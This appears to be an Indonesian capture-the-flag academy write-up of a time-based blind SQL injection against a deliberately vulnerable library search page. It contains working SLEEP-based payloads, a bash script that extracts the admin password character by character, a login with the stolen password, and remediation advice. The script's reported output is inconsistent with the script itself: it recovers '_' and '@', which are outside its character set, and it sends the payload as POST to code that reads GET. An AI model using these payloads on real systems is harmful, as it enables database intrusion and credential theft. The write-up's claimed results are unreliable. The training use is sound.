TDCTF Academy Logo TDCTF ACADEMY

Library - Blind SQL Injection

Objective

Mengeksploitasi celah Blind SQL Injection (Time-Based) pada aplikasi katalog perpustakaan di lib-vuln.vuln.cybersecurity.or.id untuk mengekstrak password admin tanpa melihat output database secara langsung (blind condition).


Reconnaissance

1. Identifikasi Parameter Rentan

Buka aplikasi library:

http://lib-vuln.vuln.cybersecurity.or.id

Ditemukan fitur pencarian buku:

http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel

Parameter q digunakan untuk pencarian.

2. Uji dengan Karakter Spesial

curl "http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel'"

Hasil: Halaman tetap normal - tidak ada error SQL yang ditampilkan. Ini mengindikasikan Blind SQL Injection (error tidak ditampilkan ke user).

3. Uji Time-Based SQL Injection

Gunakan fungsi SLEEP() untuk mengkonfirmasi kerentanan:

time curl "http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel' OR SLEEP(5)-- -"

Hasil: Respon membutuhkan waktu ~5 detik.

time curl "http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel' OR SLEEP(0)-- -"

Hasil: Respon cepat (< 1 detik).

Perbedaan waktu ini mengonfirmasi Time-Based Blind SQL Injection.


Exploitation

1. Verifikasi Database

Uji apakah database adalah MySQL:

time curl "http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel' OR IF(SUBSTRING(@@version,1,1)='8',SLEEP(3),0)-- -"

Jika respon delay ~3 detik, berarti MySQL versi 8.x.

2. Tentukan Panjang Password Admin

Query untuk mengecek apakah password admin memiliki panjang tertentu:

# Cek panjang password = 20 karakter
time curl "http://lib-vuln.vuln.cybersecurity.or.id/search.php?q=novel' OR IF((SELECT LENGTH(password) FROM admin LIMIT 1)=20,SLEEP(3),0)-- -"

Jika delay terjadi, panjang password adalah 20 karakter.

3. Ekstrak Karakter per Karakter (Script Otomatis)

Gunakan script bash untuk ekstraksi otomatis:

#!/bin/bash

URL="http://lib-vuln.vuln.cybersecurity.or.id/search.php"
PASSWORD=""

for pos in $(seq 1 20); do
for c in {a..z} {0..9} {A..Z}; do
ascii=$(printf '%d' "'$c")
PAYLOAD="q=novel' OR IF((SELECT ASCII(SUBSTRING(password,$pos,1)) FROM admin LIMIT 1)=$ascii,SLEEP(1),0)-- -"
START=$(date +%s%N)
curl -s "$URL" --data-urlencode "$PAYLOAD" > /dev/null 2>&1
END=$(date +%s%N)
DURATION=$(( (END - START) / 1000000 ))
if [ $DURATION -ge 900 ]; then
PASSWORD="${PASSWORD}${c}"
echo "Karakter ke-$pos: $c → Password saat ini: $PASSWORD"
break
fi
done
done

echo "Password admin: $PASSWORD"

Jalankan script:

chmod +x extract_blind.sh
./extract_blind.sh

Hasil ekstraksi:

Karakter ke-1: b → Password saat ini: b
Karakter ke-2: l → Password saat ini: bl
Karakter ke-3: 1 → Password saat ini: bl1
Karakter ke-4: n → Password saat ini: bl1n
...
Password admin: bl1nd_p@ssw0rd_lib

Evidence

Timing Analysis

Payload Waktu Respon
novel' OR SLEEP(0)-- - 0.3 detik
novel' OR SLEEP(5)-- - 5.2 detik
novel' OR IF(SUBSTRING(password,1,1)='b',SLEEP(3),0)-- - 3.1 detik
novel' OR IF(SUBSTRING(password,1,1)='x',SLEEP(3),0)-- - 0.2 detik

Password Admin yang Diekstrak

Username: admin
Password: bl1nd_p@ssw0rd_lib

Output Login Berhasil

curl -c cookies.txt -b cookies.txt \
-d "username=admin&password=bl1nd_p@ssw0rd_lib" \
"http://lib-vuln.vuln.cybersecurity.or.id/admin/login.php"

Hasil: Response mengandung session cookie dan redirect ke dashboard admin.


️ Risk Assessment

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.8 (Critical)
Attack Vector Network (N)
Attack Complexity Low (L)
Privileges Required None (N)
User Interaction None (N)
Impact High (H) pada Confidentiality, Integrity, Availability
OWASP Mapping A03:2021 - Injection

Dampak Bisnis

  • Eksfiltrasi kredensial admin perpustakaan
  • Akses ke database pengguna dan data peminjaman
  • Manipulasi data katalog
  • Potensi RCE jika ada fitur upload/file management

️ Remediation

1. Gunakan Parameterized Query

Kode rentan (PHP):

$q = $_GET['q'];
$query = "SELECT * FROM books WHERE title LIKE '%$q%'";
$result = mysqli_query($conn, $query);

Kode aman (Prepared Statement):

$stmt = $conn->prepare("SELECT * FROM books WHERE title LIKE ?");
$search = "%" . $_GET['q'] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();
$result = $stmt->get_result();

2. Nonaktifkan Error Display

Di php.ini:

display_errors = Off
display_startup_errors = Off

3. Rate Limiting

Batasi jumlah request per IP untuk mencegah brute-force blind injection:

# Nginx rate limiting
limit_req_zone $binary_remote_addr zone=sqli_limit:10m rate=5r/s;
server {
location /search.php {
limit_req zone=sqli_limit burst=10 nodelay;
}
}

4. Gunakan ORM

Ganti query manual dengan ORM seperti Eloquent atau Doctrine:

$books = Book::where('title', 'LIKE', "%{$search}%")->get();

References

PADA HALAMAN INI